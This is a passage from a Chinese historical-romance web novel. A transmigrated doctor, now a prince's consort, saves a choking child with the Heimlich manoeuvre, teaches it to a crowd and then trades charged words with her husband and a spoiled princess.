沈听晚检查完小男孩的情况后,平复了一下心情,俯身向下,温热的红唇便覆上了小男孩的小嘴上。 她现在已经确定了,男孩的喉咙里有异物堵住了呼吸。 如果条件允许的话,她可以直接来一场小手术,将男孩喉咙打开,把异物取出来。 可是现在不行,不管是这满是灰尘细菌的环境,还只眼前这男孩的母亲,都不允许她这么做的。 而现在要做的,便是通过人工呼吸暂时给小男孩渡气,让他能够获得些空气,不至于还没等她把异物取出来就憋死。 “这……王妃娘娘这是在干什么?” “她竟然亲……亲那个孩子?!” 开玩笑呢吧? 难道沈听晚觉得自己有什么法术,只要亲亲那孩子,孩子就能奇迹活过来? 碍于沈听晚的身份,众人不敢大声议论,躲在一旁小声的窃窃私语。 此时,暗祁也觉得十分不可思议,更是不敢置信的瞪圆了眼睛。 他们王妃娘娘怎么能亲除了王爷以外的男人呢? 呃……男孩也是男人。 重新回到马车边上的暗蒙也忍不住猛吞了吞口水,抬手指向沈听晚的方向,声音略带颤抖:“这……王妃娘娘在干什么……” 声音自然逃不过君翊的耳朵,他眉头紧蹙:“发生了何事?” 此时,君翊心里是焦急的,没办法,从软榻上起身,亲眼看到沈听晚,他总是放心不下的。 暗蒙喉结微动了动,脸色变得有些难看,一时之间竟不知道该如何回答自家王爷的话。 “说话!” 直到马车内又传来一道清冷的质问声。 暗蒙才忙道:“王爷,王妃娘娘,呃……正在亲那个孩子……” 最后一句话说出来,暗蒙是下了必死的决心的。 而马车内。 君翊:“……” 小姑娘亲那个孩子? 一时之间,君翊似乎没反应过来,这话是他想的那样吗? 那孩子的命,真是好呢? 君翊深吸一口气,咬了咬牙,小姑娘的唇他还没亲过呢,倒是让那孩子捷足先登了 想到这儿,君翊瞬间又被气笑了。 知后觉才反应过来,他刚才竟然在吃一个孩子的醋? 对,三五岁的孩童而已,不足为惧。 不足为惧! 众人的议论声,沈听晚听到了却懒得搭理,这是不停重复着动作。 她必须千万小心才行,既要给男孩顺利渡气,还不能让那异物滑落气管里。 这活,可不是一般人能干得了的。 沈听晚也是小心小心格外再小心,更不敢有半点分心。 沈听晚不停重复着,见着气渡的差不多了,停一下动作。 此时,沈听晚的额头早已经沁出一层薄汗,周围的看客,暗祁暗蒙,就连刚刚被暗蒙“请”过来的大夫看着沈听晚,紧张的连呼吸都差点忘了。 而站在不远处的男孩母亲,此时也是早已惊的瞪圆了眼睛。 她甚至都不敢想,自己刚才相信眼前这位王妃娘娘究竟是对的还是错的…… 然而下一瞬,沈听晚的举动,更是让众人觉得,沈听晚是在那男孩的生命在开玩笑。 只见沈听晚起身,随即一把将男孩从地上提起,控制在自己的怀里。 然后又见沈听晚前腿弓步插入男孩的双腿间,双臂环抱在男孩的腰部,一手握拳,向内抵住男孩肚脐与胸骨末端之间,另一只手则是包住拳头,然后…… 众人便看到,沈听晚正在以一种十分怪异的动作,不断地迅速推压着男孩腹部。 这……这到底是在救人还是在杀人啊?! “你干什么!” 遇到愤怒的声音从沈听晚的身后传来,是方才请过来的大夫,只见他眉头紧紧的皱着,眼神怀疑的打量着沈听晚。 “这么做会弄伤孩子的,你是想要了这孩子的命吗!是不会医治就躲远点儿,别出来害人!” 第89章 险些酿成大祸 这丫头还是太年轻了,大夫不禁摇头。 他原本被暗蒙的举动气的够呛,想走却不能走,便只能留下来看着那女子医治。 可是他越看越觉得荒唐,从医这么多年他就没见过有人这么给人治病的。 一时之间,心中更是气愤的不行,这才忍不住出声训斥道。 “你赶紧让开,别在这儿不懂装懂,再耽搁了这孩子的病!” 大夫提着药箱子上前,便准备要把沈听晚拉开,自己上去给男孩医治。 大夫的话,也叫众人看向沈听晚的眼神当中不禁流露出一抹怀疑之色。 暗祁见状,也忙上前想要拉住大夫,但却晚了一步,还是让那他抢先走到沈听晚的跟前。 “咳咳……” 就在这千钧一发之际,大夫正准备拉住沈听晚的手臂,怀里的小男孩却在这时突然剧烈的咳嗽了两声,然后下一瞬,一个亮红色圆滚滚的珠子,赫然从男孩的口中咳了出来。 随即“啪嗒”一声,掉落在地上,滚到了大夫脚边。 大夫浑身顿住一下,缓缓低下头去,看着脚边的一枚色彩鲜艳的珠子,一时之间竟然也难以置信。 沈听晚这时也将孩子放下,转头目光毫无温度的看向大夫落在自己手臂上的手,不带有任何感情的开口:“你刚才的阻止,险些酿成大祸!” 如果他上前真的把孩子抢过去,很有可能会导致这枚小小的珠子滑进男孩的肺管,到时候,恐怕大罗神仙降世,都难留男孩一刻。 大夫脸上顿时充满复杂之色,看上去难看的不行,整张原本就不白的脸此时也被憋的通红。 他刚才哪里想到这些啊,只觉得他学医这么多年,就从来没见过像眼前女子这般给病人医治的啊。 他深吸一口气,头上也浸出一层密密麻麻的汗水来:“是……是在下孤陋寡闻了,姑娘见谅……” 沈听晚收回视线,也不在理会那大夫,又看向男孩,给他做了进一步的检查。 此时,男孩已经转醒过来,一双明亮的眼满是迷茫之色,他看着眼前之人不是自己的娘亲,不知道是不是因为受到了惊吓的缘故,竟突然“哇”的一声,大哭出声。 男孩母亲这时候也从震惊中回过神来,听着自己的孩子哭声洪亮,忙不迭跑上去:“宝儿不哭,娘在,娘在呢啊!” 男孩看到了娘亲,这才止住了泪水,憋着小嘴,从沈听晚的怀里挣脱便往自己娘亲的怀里又钻去。 母子俩人相拥而泣,妇人更是后怕,她险些就永远看不到自己的宝儿了。 想到这里,抱住男孩的手臂又锁紧了些,埋下头去心疼而又激动的往自己儿子的头上蹭了又蹭。 “宝儿,你吓死娘亲了,呜呜呜,娘亲以为要永远失去你了,呜呜……” 沈听晚见着母子二人相拥在一起的画面,嘴角也不禁微微勾起一抹淡笑。 庆幸的是,今天那个小男孩能碰见她。 不然的话…… 后果可真是不堪设想。 沈听晚垂下眼,注意到地上那一枚红润光滑的珠子,眼神的笑意渐消,她走上前去,弯腰将珠子拿起,放在手上仔细看了看。 这男孩,怎么会误食了一枚珠子呢? 转头又看向那妇人,便看到妇人头上的发髻上,一枚银钗上面,却是正好又一处凹陷进去。 对比珠子的大小,沈听晚也立马了然。 她上前一步,将手上的珠子递过去:“这枚珠子,差点就导致你儿子的死亡。” 妇人回神,转头满是感激打开看向沈听晚,正打算开口说道谢的话,可看到沈听晚手上的那枚珠子是,周身又是从脚下袭来一阵寒凉。 “这珠子……” 是她的。 妇人忙抬手从头上取下银钗,对比着珠子的大小,这才发现银钗上原本镶嵌的珠子,不知道什么时候竟然不见了。 而且还莫名其妙的入了宝儿的嘴里。 “珠子你收好吧,不过我还是要提醒你一句,像这么大的孩子,正是对一切事物都好奇的时候,像这些一口能让人吞下的东西,以后还是要离孩子远一点。 这枚珠子还算是万幸,如果下一次是什么尖锐的东西,很有可能会划伤孩子的喉咙,到时候哭都找不到地方。”沈听晚的提醒没有一丝情感,语气间带着生硬。 她就是要提醒妇人,这件事情的严重性。 免得日后不上心,再发生像今天这样类似的事情。 “是,多谢王妃娘娘,多谢王妃娘娘,民妇记住了!”妇人连连点头,随即拉住自己儿子的手,一同跪在了沈听晚的面前:“快,谢谢你的救命恩人,宝儿,你可一定要记住,今天是王妃娘娘救了你啊!” 妇人眼含着热泪看向自己的宝儿,认真的道。 男孩面上懵懂,不过四岁的孩子,也足矣能听懂自己娘亲的话,他跪在自己娘亲的身边,小声又带着试探的开口:“谢谢……谢谢王妃。”声音奶呼呼的,也瞬间萌化了沈听晚的心。 沈听晚其实对小孩子并不怎么喜欢,总觉得孩子嘛,就是一个不停制造麻烦的存在。 不过…… 谁会不喜欢一个怎么懂事,而且还很漂亮的奶娃娃呢。 沈听晚脸上勾起一抹笑意,还手在半空中顿了一下,随后才摸了摸男孩毛茸茸的小脑袋:“以后要听你娘亲的话,答应姐姐,今后可不能淘气,不可以乱吃东西了,知道吗?” 男孩张口,咿呀咿呀的道:“知道……” “行了,孩子已经没事了,你若是实在放心不下,便让大夫再给他检查一下。” 沈听晚明白病人家属不放心的心情,转头看向妇人,淡淡开口。 此时,方才那个想要拉住沈听晚的大夫,也从震惊中缓过神来,提着药箱子上前一步,便拉住男孩的小小胳膊,开始诊脉,随即他又让男孩张了张口,看了看他的喉咙,好半天才笑着开口。 “王妃娘娘的医术高明啊,在下实在是自愧不如,这孩子已经没事了,夫人大可放心。” 第90章 王妃娘娘是天女 听见大夫的话,男孩母亲的心才彻底落了地,跪在地上向沈听晚谢了又谢。 沈听晚向把妇人拉起来,可是夫人确实倔强的很,说什么也要像沈听晚磕头道谢。 这可是她和夫君第一个孩子啊,他们都宝贝的不行。 如果宝儿有事,而且还是误吞了她钗子上面的珠子,恐怕她辈子她都会陷入深深的悔恨与自责当中。 最后,沈听晚实在是拉不起妇人,转眼无奈地看向身后的暗祁求救。 暗祁此时心里也忍不住地偷笑,他们人美心善的王妃娘娘也有搞不定头疼的时候呢。 心里是这样想的,但还是忙不迭上前,把母子俩扶了起来。 见状,沈听晚才狠狠松了口气,不过心里确实高兴的。 看着眼前这对满眼尽是对她感激道谢的母子,她想这就是从前师父常说的,治病救人的意义所在吧。 每每把患者从鬼门关拉回来,家属对大夫的感激,以及拯救对于一家人的灾难,这就是世间又医者存在的价值。 这时,原本在一旁看热闹的百姓也纷纷屈身跪地:“王妃娘娘医术高明,乃天上降世大喜大悲的天女啊! 王妃娘娘是个大好人啊!” 沈听晚还是第一次听别人称她为神女的,这称呼…… “大家快起来吧……”说的连沈听晚都有些不大好意思了,赶忙摆着手,招呼着大家起身。 奈何百姓太多,口中说着神女的话太洪亮,一时之间,就连沈听晚自己的声音都被淹没了。 沈听晚深吸一口气,见着一旁的暗祁在偷笑,忍不住白眼瞪过去。 暗祁表示很无辜啊,他能阻止得了这对母子,但那么多的百姓发自内心的敬重王妃娘娘,他一个侍卫,不好拦下的啊。 更何况,这是众人对王妃娘娘的信服,这次过后,外面对他们王妃娘娘的谣言也就不攻自破了。 在暗祁看来,这对他们王妃娘娘而言可是一件大好事! 沈听晚似乎看穿了暗祁的心思,不禁又是翻了一个好大的白眼。 什么好事?要她看,这是想让要她死得更快才对! 敢问这天底下有多少这样的阵仗,能够让百姓万民信服,并且发自内心的朝拜啊。 这阵仗,可是不亚于百姓见到御驾出宫了吧…… 那试问,此事若是传到皇宫之中,他们那位本就心思不定,多疑多虑的陛下耳朵里,她还能有命活吗?! 沈听晚看着眼前的众人,知道今天这件事,很快就会传变京城的大街小巷了,那到时候,对她来说,也不知道是不是一个大麻烦。 哎,她的这个性子啊,在这里,日后指不定还要惹下多少麻烦呢。 可是,没办法啊。 作为大夫,沈听晚实在是没办法做到见死不救,更没办法冷眼旁观,明明有机会活下去的人,却死在她的面前。 这对于一个医治来说,无疑是一种折磨。 何况还是一个孩子的生命呢。 深深吸了一口气,将心中那些乱七八糟的杂念抛到脑后。 总归这孩子的命,她是救下来了,皇帝那边究竟会怎么想,也不是她能左右得了的。 而且就算没有这件事情,到时候君翊身体彻底痊愈的那一天,皇帝也不会放过她的命。 既然如此,她又何必再去想那些还没发生的事呢。 作为大夫,她必须尽到自己最大的努力去救人,当然,防患于未然也是一个大夫的责任。 在这医疗条件落后的时代,这世间又有多少像刚才那那个男孩一样,不小心误食或者被食物噎住的人存在呢。 想到这里,沈听晚的心里也下了一个决定。 她叫王府的侍卫出面,控制下了局面,但却并没急着上马车离开,而是站在人群重要给众人讲解了如果有人不小心被食物噎住,如何最快速度的做出最有效的急救办法。 众人听得是云里雾里,因为是第一次听见像沈听晚所说的急救办法,一直时间也不知道如何下手。 沈听晚也还不客气的招呼过来刚才还在一旁还在偷笑的暗祁过来假装成一个不小心被噎住的模样。 又招呼着自己身后专心潜听满眼放光的大夫,过来做示范。 沈听晚则是在两人的身边开始指导了起来。 她看了大夫一眼:“你去走到他的身后。” 大夫听话照做,便见沈听晚又说:“像这样,把手握成拳头放在离肚脐上放两指距离的地方,贴住腹部。” 沈听晚一边说着,一边用手演示:“另外一只手包住拳头,然后向内向上冲击,要迅速有力,直到口中的异物排出,都明白了吗?” 有了大夫和暗祁在一旁演示,加上沈听晚在旁边的指导,在场的众人很快便领悟了要点,一时之间,众人纷纷群起效仿,在街头便找人互相演示。 沈听晚看着,有时候见着有人动作不对,便上前亲自指导一二。 很快,便叫众人都学会了着急救的法子。 此时,大夫再看向沈听晚的眼神,都已经从起初的轻蔑与不信任变得崇拜的五体投地。 大夫跑到自己的药箱子旁边,从里面找出来纸和笔,就跪趴在地上,丝毫不顾及形象的将方才沈听晚所说的每一个字都记录了下来。 写到最后,大夫有些犯了愁,他看着手上字迹未干的字,起身,有些忐忑的走上前去,他紧张抵抗看向沈听晚:“王妃娘娘,草民斗胆想请教一下,刚才您说的那个急救的法子可是您自创的吗? 草民未经过您的同意,已经把这法子给记了下来,却不知道是什么名……” 大夫心里头也是忐忑的,方才还一脸的不信任人家王妃娘娘,更差点坏了王妃的医治。 也不知道这位王妃娘娘到底记不记仇啊…… 记仇也没关系,他犯的错,他认! 王妃娘娘不管有多生气,怎么罚他,他都绝无怨言,就是希望王妃能够不吝赐教。 因为这个法子的存在,不知道能救治多少本不应该死去的人啊! 沈听晚可没有那么小心眼,她垂头看了一眼大夫递过来的纸,有些意外的挑了挑眉。 第91章 王妃,王爷要与你同一辆马车 还真是把她刚才说的话,一字不落的都写下来了啊! “这个法子不是我想出来的,也是我无意间学来,急救的法子名叫《海姆立克急救法》”沈听晚淡淡开口说。 “不知道那位神医现在在何处?王妃娘娘可还知道其他像这种大家都能上手就会的急救法子?” 大夫见着沈听晚并未计较前嫌,胆子也大了许多,满眼期待的问。 “那位医者居无定所,就连我也找不到他,不过其他急救法子我这倒有不少,我有机会的话,你到翊王府寻我,我可以教你。”沈听晚又继续的说。 开玩笑,这急救法子可都是来自于现代啊,她现在魂穿到这本书里头,上那去找那人去啊。 “如此实在是太好了!”大夫虽然因为沈听晚说找不到那神医,心里头有些失落,不过听到沈听晚说可以叫他其他急救法子,瞬间满眼又放光,深深的朝着沈听晚鞠了一躬,又执笔将名字写在了纸上,这才如获至宝般捧在手心里。 见着眼前的王妃娘娘不像其他京中贵妇那般架子大,脸色虽然有些冷,但却很平易近人,众人的胆子也大了不少。 “王妃娘娘,您别光教会大夫啊,这些可以保命的急救法子,草民们也想学啊。” “是啊,王妃娘娘,不如您连我们都一起教了吧。” …… 众人主打的就是沈听晚一只羊也是放,一群羊也是放,纷纷上前去,求着沈听晚再叫他们几种其他救人命的法子。 对此,沈听晚也是十分地无奈。 眼看着场面有些难以控制,便见不远处护在马车旁边的暗蒙大步走上前来。 “大家都静一静!”暗蒙的嗓音格外洪亮,而且还带着一抹震慑众人的威严之气。 很快,画面便瞬间变得寂静了下来,只不过众人看向沈听晚的眼神,却丝毫未变,就是一副求知若渴的模样。 从前怎么没发现,学医术好像也不是那么难啊。 那一本本医书,如果放在众人的面前,他们可能连看都看不进去一页。 但是沈听晚所讲的就不一样了,不仅通俗易懂,而且上手也极其简单,更重要的是,这可是救人命的法子,他们可都想学啊! 见着场面被控制下来,暗蒙才转身恭敬地向沈听晚行了礼道:“王妃娘娘,王爷说时候不早了,咱们该回府了。” 听到暗蒙的话,沈听晚这下子才想起来,马车里面还有一个刚被打断脊柱,还需要好生调养的男人在呢! 君翊那家伙胡闹,她刚给他医治完,就跑出来,虽然是软榻抬着,但侍卫搬动的过程当中,难免不会给君翊的身体造成损伤。 他们这个时候还真得尽快回府,她再好好给君翊检查一番才行呢。 可是…… 这么多人围在这,眼巴巴的望着她,这叫沈听晚怎么走啊? 暗蒙也看出了沈听晚的为难,又忙开口:“王妃娘娘,王爷说可以让大夫上门,由王妃娘娘教其急救之法,由大夫编纂成册子,到时候由王府出银子,将急救册子雕印成书,发到百姓手中。” 沈听晚眼前一亮:“这个法子不错啊。” 她刚才怎么没想到呢。 一直时间,百姓们也是满心的感激,这才后知后觉的发现,不远处停放着的两辆马车。 “原来王爷也在马车上啊!” “天啊,我们的战神,竟然可以出府了!是不是有王妃娘娘在,王爷的伤很快就可以痊愈了啊?” “草民参见翊王殿下,参见王妃娘娘!” “多谢王爷,王妃娘娘大恩!” 众人又是自发的群起拜之,这一拜更是发自百姓内心的甘愿臣服。 东陵又这么好的翊王殿下和翊王妃,他们何其有幸啊! 而同一时刻,从皇宫里出来的君宁宇,此时站在远处,看着人群里的沈听晚,眼神当中一抹暗光闪了又闪。 他这个皇婶,看上去还真是很有趣呢…… 看来他没看错沈听晚,她的确是世间难得一见的奇女子。 真是可惜了…… 想到这儿,君宁宇眼底的暗光瞬间消散,他垂下晦暗的眸,叫所有人都不知道,他此刻究竟在想些什么。 暗蒙这边提出了法子,众人也是心底服气,再加上马车上的可是他们东陵的战神,谁还敢拦着,纷纷给沈听晚主动让出来一条宽敞的道出来。 沈听晚也是被众人眼神崇拜与敬重的注视下,抬脚朝着马车的方向走去。 暗蒙却又开口:“王妃娘娘,王爷请您上那辆马车。” 沈听晚停下脚步,便见着暗蒙抬手指了指君翊的那辆马车,神色顿住,随即面上瞬间变得严肃起来:“可是王爷身子不适?” 她心里不禁有些懊恼,不应该耽搁这么长时间的。 君翊的身体本来就没有恢复,这样一折腾下来,肯定会影响痊愈的。 见着沈听晚满眼的焦急之色,暗蒙忙不迭地道:“王妃娘娘放心,王爷身子无碍,只是想与王妃说说话。” 他们王爷现在可是……好的很呢。 方才暗蒙担心王爷的身子,进去看了看,便见着自家王爷躺在马车里面,却听着外面沈听晚的讲解津津有味儿。 沈听晚松了口气。 还好,不是君翊出了什么事。 不过虽然听着暗蒙这样说,沈听晚的心里头还是不禁担心起君翊,果断放弃后面的马车,抬脚便朝着君翊的方向走去。 “夫君,你可算是来了,咱们宝儿……宝儿方才差点就没命了!” 沈听晚刚要抬脚往前走,先听见身后方才那个男孩的娘亲,一声哭腔的开口。 紧接着,身边的暗蒙也忍不住出声:“秦勇?” 沈听晚停下脚步,转头看了过去,便见一个身材魁梧,浑身小麦色皮肤,长相也十分周正的男人将方才那对母子揽入怀中,低声询问着情况。 沈听晚看向暗蒙,疑惑的开口问:“那个人你认识?” 只见暗蒙垂下头叹了口气,神色很是复杂地点点头:“嗯,那个人是王爷从前在军营里的副将。” 第92章 王爷对他真是用心良苦啊 “从前的副将?”沈听晚眨了眨疑惑的眼:“怎么现在不是了吗?” 暗蒙:“秦勇原本是王爷身边最信得过的将领,带兵打仗也没的说,只不过……”他犹豫一瞬,转头看了眼马车的方向,又无奈道:“他在军营里犯了些错,王爷罚了他军棍一百,然后赶出军营了……”语气间满是惋惜。 沈听晚听见这话,很是意外的挑了挑眉:“这是犯了多大的错啊,罚的这么重,把他的职位都革了?” 军营里不缺上战场打仗的士兵,但能够指挥作战的将领可是凤毛麟角。 刚才听暗蒙也说了,这个秦勇带兵打仗很有一套,说明实力很强,怎么优秀的将领,怎么能是说革职就革职的呢? 暗蒙抿了抿唇,欲言又止道:“其实错也不全怪那秦勇,是军中有异心之人,王爷这么做,也是杀鸡儆猴,震慑那些人不敢造次……” 秦勇作为君翊身边的人,如果犯错罚的过于轻了些,一定会叫其他将士不服气。 所以,所有人犯错都可以从轻发落,唯独秦勇不行。 沈听晚轻叹了口气,如果这么说的话,她倒是可以理解君翊为什么会这样做了。 沈听晚:“我们走吧。” 最后看了一眼不远处一家三口相拥而泣的场景,沈听晚抿了抿唇随即淡淡开口。 她今天救下秦勇的儿子,也算是替君翊补偿了他吧。 转身正准备朝着马车的方向而去,便听到这时身后传来咚地一声响。 下一瞬,便见秦勇跪地,朝着沈听晚和马车的方向重重磕下三个响头。 紧接着,众人便听到秦勇掷地有声的声音响起:“罪民,叩谢王爷,王妃娘娘大恩!” 一声叩谢,马车内的君翊不禁缓缓闭上双眼,深吸一口气,满眼尽是隐忍不发。 沈听晚愣住一瞬:“走吧。” 身后,秦勇将头重重磕在地上却迟迟不见起身,眼尖的人此时才发现,一滴热泪从他的眼睑滴落下来,掉落在地上,瞬间被灰尘裹住。 沈听晚上了马车,暗祁暗蒙两人忍不住朝着秦勇的方向看了一眼,最终还是不忍的收回视线。 王府的马车缓缓启动,渐渐消失在众人眼前,然而秦勇却站在原地,纹丝未动,视线怔怔的望着马车消失的方向,久久无法回神。 上了马车的沈听晚,见着君翊闭目不语,选择了一个角落坐下,视线静静的望向窗外。 她知道,这个时候,君翊的心里定不是滋味儿,昔日他身边最其中的将领,因为犯错,被他亲手赶出军营,算是彻底断了秦勇的路。 若是秦勇犯下的错十恶不赦,倒是不足惜,但偏偏错的很轻,轻到如果换做其他任何一个人整治,可能就只是被罚军棍那么简单就过去了。 但偏偏他是君翊的人,为了整顿军纪,君翊不得不以儆效尤。 “是不是觉得本王很冷血?” 许久,马车内传来君翊幽幽的声音,嗓音低沉带着些许沙哑,沈听晚甚至能听得出其中隐忍不住的自嘲与悔恨。 沈听晚移目看过去,她真的有点想安慰君翊,可是却不知道怎么安慰,尤其是听到暗蒙说的那番话之后。 现在什么话,都无法让君翊减轻心里的痛苦吧。 沈听晚想了一下:“那他,你之后想好有什么打算吗?” 君翊:“暂时先只能这样,毕竟……本王现在也无法重回军营。” 君翊依旧耷拉着眼皮,看上去有些落寞:“其实当初,他可以留下的。” 他下令惩治秦勇之际,原本只是想着杖责一百便罢了,毕竟不是什么大错。 但秦勇千不该万不该当着所有将士的面,对他的惩治发出质疑。 秦勇认为他罚的过于重了,而且当着一众将士,特别还是他让秦勇当着比他职位小的下属面前受罚,让他失了颜面。 君翊又何尝不知道这一点,原本打算行刑之后,事后向秦勇说清楚利害,可就是不知道为什么,他们二人就在一众将士们的面前,拱了火。 一怒之下,君翊便大手一挥,直接把人赶出了军营,让他连一个小小的士兵都当不了。 现在君翊也觉得当时是他太冲动行事了,他那么做就算是彻底断了秦勇成为将领的路。 要知道秦勇是被赶出军营的,日后若是再去征兵处报名,也会留下这一案底,征兵处不会再怔录他。 也就是说只要君翊不发话,秦勇这辈子都无法再登上武将这一条路。 “那如果你以后有机会重返军营,你会再给他一次机会吗?”沈听晚听着君翊的叙述,想了一下,最终还是问出了她最想知道的问题。 会再给秦勇一次机会吗? 还是说,从今往后就是一棒子打死,让秦勇只能是一个平头百姓,而且身上背负着罪名,他的孩子日后也无法参加科举。 “机会会给,但现在还不是时候。”君翊说。 “什么意思?” 君翊垂眸:“我承认他是一个足够优秀的将领,但是他做事太过冲动且易怒,单单这一点就很容易让人抓到把柄,如果秦勇改不了这个毛病,就算本王再给他机会,他也会很轻易成为别人手上的一把刀。” 这把刀,不仅会反噬自身,甚至还会伤害身边所有人。 听到君翊的话,沈听晚瞬间恍然大悟:“所以,把他逐出军营,这么多年无法让他重新被征兵处录用, 是因为你在历练他?” 君翊淡淡开口:“如果他能够想明白本王的苦心,日后他会成为东陵不可或缺的武将军。” 当然,他最终究竟能不能有这样的造诣,全靠秦勇自己。 沈听晚不仅感叹:“你对他还真是用心良苦啊。” 她现在算是想明白了,君翊当初对秦勇,实在是恨铁不成钢。 将他赶出军营是真的,但想要磨一磨秦勇的性子,才是君翊最终的目的。 “王妃这话说的,本王对一个大男人怎地就用心良苦了?”君翊声线低柔,无奈地说。 沈听晚愣住一瞬,也后知后觉的意识到方才她言辞上似乎有些不妥,不过形容君翊和秦勇只见,好像用心良苦这个词有很恰当啊。 第93章 你的命更重要 “行了,秦勇的事儿不是我该管的,但是君翊,我们是不是应该再好好谈谈了?” 沈听晚抛开话题,再次抬眼,满脸严肃的瞪着君翊说。 马车内,君翊身着一身亲王宫服,即便无法起身,依旧难掩浑身的气势,如今他的脸上,早已经没有沈听晚刚出见他时的绝望与心死。 这还是曾经那个在战场上的:玉面阎罗。 只是褪去铠甲后,身穿蟒袍,倒是在他身上增添了几分慵懒矜贵的气息。 沈听晚的一句我们应该再好好谈谈,让君翊有些莫名的心虚。 而他脸上的那一抹心虚,却叫沈听晚尽收眼底,沈听晚的神色淡淡的,眼神冷淡,不再说话,看到眼神却传来了无声的质问。 许久,君翊才有些发虚的开口:“咳咳,本王醒来之后不见你人,问过暗祁知道宝郡主一事,担心你独自进宫会被刁难。” “所以,你就不担心自己的身体受损了?”沈听晚面无表情的道。 她感动君翊为她做的一切,可是她就是做不到无法不生君翊不爱护自己身子的气。 君翊的身体,是她花了多少个日日夜夜,好不容易经过缝缝补补才有了点好转,可他却怎么不重视自己。 “我觉得……”君翊迟疑一瞬的说:“你的命更重要。” 沈听晚的命对于君翊来说,的确更重要,重要的可以让他忽视自己的程度。 因为若是没有沈听晚,他可能现在还是那个终日只能被人伺候的活死人一个,或许,不知道什么时候,我会悄无声息的死在那张床榻上。 所以,不管出于什么情感,哪怕君翊没有爱上沈听晚,他也会亲自进宫替沈听晚撑腰。 “还有一点。” 沈听晚还没从君翊的话中缓过神来,就听到他在开口,下一瞬问:“什么?” “因为你是我的王妃。” 作为丈夫,他如果连自己的媳妇都护不住,岂不是太无能。 这下子,沈听晚的心彻底的乱了,甚至有些后悔,方才就不应该答应暗蒙,上这辆马车啊。 这家伙……还真是无时无刻不想要攻破她的心防啊。 她现在都有些纳闷,是不是自己给君翊医治的过程当中出现了什么意外,把君翊的这张嘴给治坏了。 要不然的话,这家伙哪里学的这么多叫人心慌意乱的情话啊! 沈听晚定定的盯着君翊那双满是柔光的眸,一时之间竟然感觉心跳骤然加快了不少,她忙仓促的别开眼:“咳咳,耍什么威风,当别人不知道我是你的王妃吗,刚给你医治完,是让你这么胡来的吗?” 沈听晚语气间愤怒地质问着,不过却不难听出,言辞间带着的慌乱与想要逃离的无措。 “如果胡来这么一次可以让你少说些委屈,我也觉得挺值得的。” 君翊又漫不经心的开口,不过眼神却有意无意的朝着沈听晚的方向瞟了瞟。 既然在皇宫里已经对沈听晚表明了心意,那接下来,君翊就不会有所隐藏,他会对沈听晚主动进攻,彻底扰乱小姑娘的心理防线。 君翊心里头其实是有些着急的,沈听晚这么快把他医治好,就连他自己也没想到。 等他彻底痊愈过后,小姑娘肯定会让他拿出和离书的。 所以留给他的时间,就只有不到两个月了。 听着君翊的话,沈听晚心底突然有一种不好的预感。 君翊这家伙,不表明心意倒好,这从自己问出那句话之后,似乎一直在对她发直球,打的沈听晚一个猝不及防。 沈听晚瞬间就明白了君翊的心思,她运了口气,自己从君翊的身上移开视线看向窗外。 这个时候,不回应才是最好的办法! 君翊见着小姑娘不再理人,也不生气,只是嘴角勾起一抹若有似无的笑意。 他看着沈听晚脸颊上染上的一抹不自然的红晕,便知道,小姑娘是害羞了。 看来,小姑娘也并不是对他没有一点感觉的。 马车晃晃荡荡的朝着王府的方向驶去,这一路上,沈听晚没有再主动开口说些什么,心里只求着马车能够再快些。 她现在实在不想再和君翊单独呆在一起了。 沈听晚此时身子坐的笔直,视线落在窗外,就这么一个动作,一直持续到马车停在王府的门口。 在马车刚刚停稳,沈听晚便一个迅速起身,略过君翊,刚准备下马车,脚步突然一顿,转头看过去:“需要帮忙吗?” 君翊看向沈听晚,淡笑地出声:“让他们来就行。” 沈听晚点点头,很快收回视线,转身抬脚下了马车。 “沈听晚!你个贱人竟然让本郡主等这么久!” 刚下马车的沈听晚,还没等抬脚往王府里走去,便听到不远处传开一阵女子尖锐的怒骂声。 沈听晚一愣,远远的看过去,只见宝郡主此时跪在王府门口,身后还跟着两个看上去身强体壮的嬷嬷,其中一个沈听晚是认识的,上一次去皇后的坤宁宫时见过一面。 宝郡主看到沈听晚,便立马要起身冲过去,然而,她身后的两个嬷嬷却仿佛看穿了她的心思似的,迅速攻下身子,抬手死死按住宝郡主的肩膀。 其中一个嬷嬷寒着脸道:“宝郡主,皇后娘娘懿旨,让宝郡主跪到王妃回府,莫要为难奴婢!” 宝郡主惊怒的开口,抬手指向沈听晚的方向:“沈听晚那么多的一个人站在那,你们是眼瞎看不见吗! 皇后娘娘只说让本郡主跪在这到她回来,现在她回来了,你们还不快放开本郡主!” 听着宝郡主和嬷嬷两人的对话,沈听晚才算明白过来。 她就说嘛,凭着宝郡主那娇蛮的性子,怎么可能会心甘情愿的跪在王府呢。 原来是皇后出手,这是想要在她这卖个好呢。 沈听晚微微勾唇,既然皇后把事儿都做了,她自然是不能辜负了这一番良苦用心。 她抬脚缓缓朝着几人的方向走去,此时王府的门外在已经站满了围观的看客。 那可是堂堂郡主啊,是犯了多大的错,皇后娘娘竟然罚她在王府跪这么久? 京城这么大的热闹,他们自然要看看啊。 两个嬷嬷见着沈听晚走来,也立马笑脸去迎,恭敬的行礼:“奴婢参见王妃娘娘。” 第94章 在看宝郡主的热闹啊 她们都是皇宫里的老人了,而且还是一直在皇后身边服侍的,哪可能不知道,如今的这位翊王妃,可是她们皇后跟前儿的红人呢! 沈听晚微微颔了颔首,又看向宝郡主那满眼不甘愿的模样,微微勾起一抹笑:“这是什么情况,宝郡主因何跪着?” “沈听晚!你明知故问!”宝郡主咬牙切齿,满眼尽是愤怒。 她已经在王府门外跪了足足一个时辰了,沈听晚竟然才回来,她的膝盖都跪麻了。 当然,这不是宝郡主最破防的,她更接受不了的是王府门外那些低贱的刁民,站在一旁竟然还看起了她的热闹! 她可是堂堂郡主啊,什么时候受过这样的耻辱? 奈何那两个狗仗人势的老东西把她看得死死的,她不过是腿酸想要动一动筋骨,两个老嬷嬷都不允,实在是该死! “沈听晚!你是故意的吧,明知道陛下下旨让本郡主给你这个贱人道歉,你还回来的这么晚,明摆着是想要羞辱我是不是!” 沈听晚听着宝郡主破防地嘶吼,嘴角的笑意又深了些。 这可就是太冤枉她了,她也是没想到,皇后娘娘竟然会下这样的懿旨。 不过嘛,这倒是正好如了她的愿。 这高宝儿白日里在王府门口闹那么一场,可是有不少人看着呢,让她多跪一会儿怎么了? 她还觉得不够呢。 看着沈听晚那满脸笑意,波澜不惊的表情,宝郡主脸上的怒火更盛,不善的道:“你笑什么?” 沈听晚:“在看宝郡主的热闹啊。”她眨了眨明亮的眼,轻佻的开口。 主打的就是一个气死人不偿命! “沈听晚!” “嗯,本王妃在呢,宝郡主要说什么?” 